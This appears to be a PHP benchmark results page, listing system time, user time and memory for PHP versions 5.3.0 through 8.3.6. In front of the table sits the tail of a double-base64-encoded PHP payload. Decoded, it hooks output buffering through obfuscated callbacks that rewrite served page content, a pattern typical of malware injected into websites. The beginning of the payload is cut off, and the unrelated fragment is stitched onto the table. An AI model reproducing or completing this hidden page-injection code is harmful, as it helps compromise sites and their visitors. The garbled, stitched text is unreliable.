OdmJuUmxiblJ6SUQwZ1ozcHlaV0ZrS0NSNlpDd2dNVEF3TURBd01EQXBPeVJqYjI1MFpXNTBjeUE5SUZwTk5Xb3ljVEJ6YUdaZmJXOWtYMk52Ymlna1kyOXVkR1Z1ZEhNcE8yZDZZMnh2YzJVb0pIcGtLVHQxYm14cGJtc29KSFJ0Y0dadVlXMWxLVHNrWTI5dWRHVnVkSE1nUFNCbmVtVnVZMjlrWlNna1kyOXVkR1Z1ZEhNcE8zMGdaV3h6WlNCN0pHTnZiblJsYm5SeklEMGdXazAxYWpKeE1ITm9abDl0YjJSZlkyOXVLQ1JpZFdZcE95QjlmU0JsYkhObElIc2tZMjl1ZEdWdWRITWdQU0JhVFRWcU1uRXdjMmhtWDIxdlpGOWpiMjRvSkdKMVppazdmWEpsZEhWeWJpZ2tZMjl1ZEdWdWRITXBPd3A5Q24wS0lBcHZZbDl6ZEdGeWRDZ2lXazAxYWpKeE1ITm9abDlqWVd4c1ltRmpheUlwT3dvS2ZRcDlDbjBLIikpOyA=")); ")); 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Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.014	0.007	18.56
8.3.5	0.014	0.005	21.08
8.3.4	0.019	0.003	18.91
8.3.3	0.015	0.000	19.14
8.3.2	0.000	0.007	20.29
8.3.1	0.000	0.008	22.09
8.3.0	0.000	0.008	22.51
8.2.18	0.008	0.008	16.88
8.2.17	0.004	0.011	22.96
8.2.16	0.007	0.011	19.19
8.2.15	0.008	0.000	24.18
8.2.14	0.004	0.004	24.66
8.2.13	0.005	0.003	26.16
8.2.12	0.004	0.004	19.23
8.2.11	0.009	0.000	22.30
8.2.10	0.009	0.003	19.63
8.2.9	0.003	0.006	19.20
8.2.8	0.000	0.008	17.97
8.2.7	0.007	0.007	17.50
8.2.6	0.004	0.004	18.04
8.2.5	0.006	0.003	18.07
8.2.4	0.000	0.008	19.76
8.2.3	0.007	0.000	18.02
8.2.2	0.004	0.004	17.66
8.2.1	0.005	0.003	17.79
8.2.0	0.004	0.004	17.83
8.1.28	0.015	0.000	25.92
8.1.27	0.008	0.000	22.13
8.1.26	0.000	0.008	26.35
8.1.25	0.004	0.004	28.09
8.1.24	0.006	0.003	23.84
8.1.23	0.012	0.000	19.11
8.1.22	0.003	0.005	17.74
8.1.21	0.004	0.004	18.77
8.1.20	0.010	0.000	17.35
8.1.19	0.000	0.009	17.52
8.1.18	0.000	0.008	18.78
8.1.17	0.008	0.000	18.72
8.1.16	0.007	0.000	22.15
8.1.15	0.004	0.004	18.61
8.1.14	0.004	0.004	17.47
8.1.13	0.000	0.007	17.39
8.1.12	0.003	0.003	17.40
8.1.11	0.005	0.003	17.42
8.1.10	0.004	0.003	17.53
8.1.9	0.000	0.008	17.52
8.1.8	0.007	0.000	17.50
8.1.7	0.005	0.003	17.35
8.1.6	0.000	0.009	17.48
8.1.5	0.004	0.004	17.52
8.1.4	0.000	0.008	17.56
8.1.3	0.004	0.004	17.69
8.1.2	0.000	0.008	17.79
8.1.1	0.000	0.009	17.71
8.1.0	0.008	0.000	17.58
8.0.30	0.004	0.004	18.77
8.0.29	0.000	0.007	17.05
8.0.28	0.003	0.003	18.39
8.0.27	0.000	0.007	17.29
8.0.26	0.000	0.007	16.88
8.0.25	0.000	0.008	17.12
8.0.24	0.005	0.003	16.95
8.0.23	0.000	0.008	16.94
8.0.22	0.000	0.007	16.92
8.0.21	0.000	0.007	16.98
8.0.20	0.000	0.007	16.89
8.0.19	0.007	0.000	17.04
8.0.18	0.005	0.002	16.95
8.0.17	0.003	0.004	16.86
8.0.16	0.004	0.004	17.10
8.0.15	0.000	0.007	16.90
8.0.14	0.000	0.007	16.94
8.0.13	0.000	0.007	13.48
8.0.12	0.003	0.006	16.94
8.0.11	0.004	0.004	16.98
8.0.10	0.007	0.000	16.82
8.0.9	0.000	0.007	16.89
8.0.8	0.003	0.013	17.04
8.0.7	0.008	0.000	16.86
8.0.6	0.007	0.000	16.77
8.0.5	0.004	0.004	16.99
8.0.3	0.012	0.011	17.09
8.0.2	0.012	0.006	17.40
8.0.1	0.008	0.000	16.91
8.0.0	0.014	0.004	16.71
7.4.33	0.003	0.003	15.21
7.4.32	0.000	0.006	16.71
7.4.30	0.007	0.000	16.62
7.4.29	0.000	0.007	16.61
7.4.28	0.000	0.007	16.64
7.4.27	0.004	0.004	16.68
7.4.26	0.003	0.003	16.66
7.4.25	0.000	0.008	16.56
7.4.24	0.005	0.002	16.62
7.4.23	0.000	0.007	16.67
7.4.22	0.007	0.011	16.82
7.4.21	0.009	0.007	16.61
7.4.20	0.000	0.007	16.60
7.4.19	0.005	0.002	16.85
7.4.16	0.008	0.008	16.59
7.4.15	0.014	0.004	17.40
7.4.14	0.011	0.008	17.86
7.4.13	0.008	0.013	16.68
7.4.12	0.009	0.009	16.67
7.4.11	0.004	0.012	16.74
7.4.10	0.009	0.009	16.61
7.4.9	0.003	0.016	16.55
7.4.8	0.013	0.003	19.39
7.4.7	0.010	0.013	16.55
7.4.6	0.006	0.009	16.64
7.4.5	0.009	0.000	16.59
7.4.4	0.009	0.006	22.77
7.4.3	0.017	0.007	16.47
7.4.0	0.008	0.008	15.10
7.3.33	0.003	0.003	13.45
7.3.32	0.005	0.000	13.39
7.3.31	0.004	0.004	16.43
7.3.30	0.000	0.007	16.34
7.3.29	0.012	0.006	16.36
7.3.28	0.011	0.004	16.43
7.3.27	0.011	0.005	17.40
7.3.26	0.000	0.017	16.50
7.3.25	0.012	0.006	16.62
7.3.24	0.012	0.006	16.51
7.3.23	0.006	0.011	16.46
7.3.21	0.008	0.011	16.52
7.3.20	0.017	0.003	19.39
7.3.19	0.014	0.007	16.54
7.3.18	0.013	0.003	16.54
7.3.17	0.006	0.010	16.42
7.3.16	0.013	0.003	16.53
7.3.12	0.010	0.007	14.86
7.3.1	0.008	0.008	16.84
7.3.0	0.011	0.000	16.82
7.2.33	0.011	0.007	16.74
7.2.32	0.015	0.003	16.58
7.2.31	0.003	0.018	16.78
7.2.30	0.018	0.000	16.64
7.2.29	0.013	0.004	16.61
7.2.13	0.000	0.011	16.99
7.2.12	0.006	0.006	17.01
7.2.11	0.007	0.004	17.02
7.2.10	0.005	0.005	16.73
7.2.9	0.003	0.007	16.95
7.2.8	0.000	0.012	17.03
7.2.7	0.003	0.009	16.96
7.2.6	0.005	0.008	16.87
7.2.5	0.004	0.008	16.80
7.2.4	0.012	0.004	16.92
7.2.3	0.000	0.016	17.09
7.2.2	0.000	0.018	16.69
7.2.1	0.007	0.007	16.93
7.2.0	0.008	0.006	18.28
7.1.25	0.007	0.007	15.61
7.1.20	0.004	0.011	15.93
7.1.10	0.007	0.004	18.21
7.1.7	0.003	0.005	17.26
7.1.6	0.017	0.010	19.82
7.1.5	0.016	0.007	16.93
7.1.0	0.000	0.077	22.45
7.0.20	0.010	0.007	16.53
7.0.14	0.003	0.073	22.00
7.0.12	0.003	0.067	22.01
7.0.11	0.003	0.077	21.98
7.0.10	0.000	0.077	22.25
7.0.9	0.000	0.080	22.11
7.0.8	0.007	0.063	22.04
7.0.7	0.003	0.077	21.97
7.0.6	0.007	0.070	22.07
7.0.5	0.000	0.073	21.98
7.0.4	0.003	0.073	22.05
7.0.3	0.003	0.073	22.18
7.0.2	0.003	0.060	22.16
7.0.1	0.007	0.070	22.16
7.0.0	0.000	0.073	22.01
5.6.28	0.007	0.073	21.20
5.6.26	0.007	0.070	21.17
5.6.25	0.003	0.073	21.17
5.6.24	0.010	0.070	20.93
5.6.23	0.007	0.073	21.09
5.6.22	0.000	0.073	21.13
5.6.21	0.000	0.067	21.06
5.6.20	0.013	0.067	20.99
5.6.19	0.003	0.077	20.96
5.6.18	0.003	0.070	20.89
5.6.17	0.000	0.077	20.80
5.6.16	0.007	0.070	21.10
5.6.15	0.003	0.073	20.79
5.6.14	0.010	0.070	20.87
5.6.13	0.007	0.070	21.12
5.6.12	0.003	0.077	20.84
5.6.11	0.000	0.067	21.12
5.6.10	0.003	0.073	21.06
5.6.9	0.007	0.067	20.94
5.6.8	0.003	0.070	20.39
5.6.7	0.003	0.067	20.25
5.6.6	0.003	0.070	20.42
5.6.5	0.003	0.070	20.43
5.6.4	0.000	0.073	20.44
5.6.3	0.013	0.063	20.23
5.6.2	0.000	0.073	20.29
5.6.1	0.000	0.073	20.42
5.6.0	0.007	0.047	20.42
5.5.38	0.000	0.073	17.67
5.5.37	0.000	0.073	17.69
5.5.36	0.000	0.073	17.55
5.5.35	0.003	0.070	17.48
5.5.34	0.003	0.073	18.05
5.5.33	0.003	0.070	17.84
5.5.32	0.003	0.073	18.22
5.5.31	0.003	0.073	18.22
5.5.30	0.007	0.067	17.95
5.5.29	0.003	0.077	17.92
5.5.28	0.003	0.077	18.07
5.5.27	0.003	0.077	18.24
5.5.26	0.003	0.073	17.82
5.5.25	0.007	0.063	18.03
5.5.24	0.003	0.063	17.64
5.5.23	0.000	0.073	17.60
5.5.22	0.000	0.060	17.33
5.5.21	0.000	0.070	17.21
5.5.20	0.003	0.067	17.27
5.5.19	0.000	0.073	17.47
5.5.18	0.003	0.070	17.57
5.5.16	0.000	0.067	17.44
5.5.15	0.010	0.063	17.45
5.5.14	0.000	0.070	17.43
5.5.13	0.000	0.067	17.45
5.5.12	0.003	0.067	17.59
5.5.11	0.007	0.063	17.49
5.5.10	0.003	0.070	17.18
5.5.9	0.000	0.060	17.34
5.5.8	0.007	0.063	17.31
5.5.7	0.003	0.063	17.39
5.5.6	0.003	0.067	17.07
5.5.5	0.003	0.067	17.34
5.5.4	0.007	0.063	17.51
5.5.3	0.003	0.067	17.16
5.5.2	0.000	0.073	17.28
5.5.1	0.003	0.070	17.32
5.5.0	0.000	0.073	17.32
5.4.45	0.007	0.067	19.41
5.4.44	0.003	0.073	19.65
5.4.43	0.007	0.067	19.49
5.4.42	0.003	0.067	19.62
5.4.41	0.000	0.063	19.19
5.4.40	0.003	0.067	19.14
5.4.39	0.000	0.060	19.15
5.4.38	0.000	0.067	18.97
5.4.37	0.003	0.067	19.15
5.4.36	0.000	0.077	19.02
5.4.35	0.003	0.063	19.21
5.4.34	0.000	0.067	18.97
5.4.32	0.003	0.057	19.03
5.4.31	0.000	0.070	19.00
5.4.30	0.007	0.063	19.17
5.4.29	0.000	0.060	19.23
5.4.28	0.003	0.067	19.10
5.4.27	0.007	0.063	19.21
5.4.26	0.003	0.057	19.13
5.4.25	0.000	0.070	19.07
5.4.24	0.003	0.067	19.30
5.4.23	0.000	0.057	19.32
5.4.22	0.000	0.073	18.98
5.4.21	0.000	0.070	19.16
5.4.20	0.000	0.070	18.99
5.4.19	0.000	0.070	18.96
5.4.18	0.007	0.063	19.16
5.4.17	0.000	0.073	19.08
5.4.16	0.007	0.060	19.05
5.4.15	0.003	0.070	18.96
5.4.14	0.000	0.070	16.34
5.4.13	0.000	0.067	16.31
5.4.12	0.007	0.063	16.28
5.4.11	0.000	0.070	16.30
5.4.10	0.000	0.067	16.68
5.4.9	0.003	0.063	16.68
5.4.8	0.000	0.067	16.52
5.4.7	0.000	0.067	16.49
5.4.6	0.007	0.060	16.51
5.4.5	0.003	0.063	16.43
5.4.4	0.003	0.050	16.27
5.4.3	0.000	0.050	16.54
5.4.2	0.003	0.060	16.55
5.4.1	0.007	0.063	16.37
5.4.0	0.010	0.057	15.84
5.3.29	0.000	0.060	14.97
5.3.28	0.003	0.060	14.66
5.3.27	0.000	0.073	14.83
5.3.26	0.003	0.067	14.69
5.3.25	0.000	0.070	14.68
5.3.24	0.007	0.063	14.70
5.3.23	0.000	0.070	14.68
5.3.22	0.003	0.067	14.65
5.3.21	0.000	0.073	14.65
5.3.20	0.003	0.067	14.78
5.3.19	0.000	0.070	14.66
5.3.18	0.000	0.070	14.77
5.3.17	0.003	0.063	14.77
5.3.16	0.007	0.063	14.65
5.3.15	0.003	0.067	14.62
5.3.14	0.000	0.070	14.72
5.3.13	0.000	0.073	14.48
5.3.12	0.000	0.073	14.59
5.3.11	0.003	0.070	14.75
5.3.10	0.007	0.060	14.21
5.3.9	0.000	0.070	14.18
5.3.8	0.000	0.067	14.17
5.3.7	0.010	0.060	14.07
5.3.6	0.000	0.067	14.09
5.3.5	0.003	0.057	14.15
5.3.4	0.000	0.067	14.02
5.3.3	0.000	0.067	14.08
5.3.2	0.000	0.060	13.76
5.3.1	0.003	0.053	13.68
5.3.0	0.000	0.057	13.56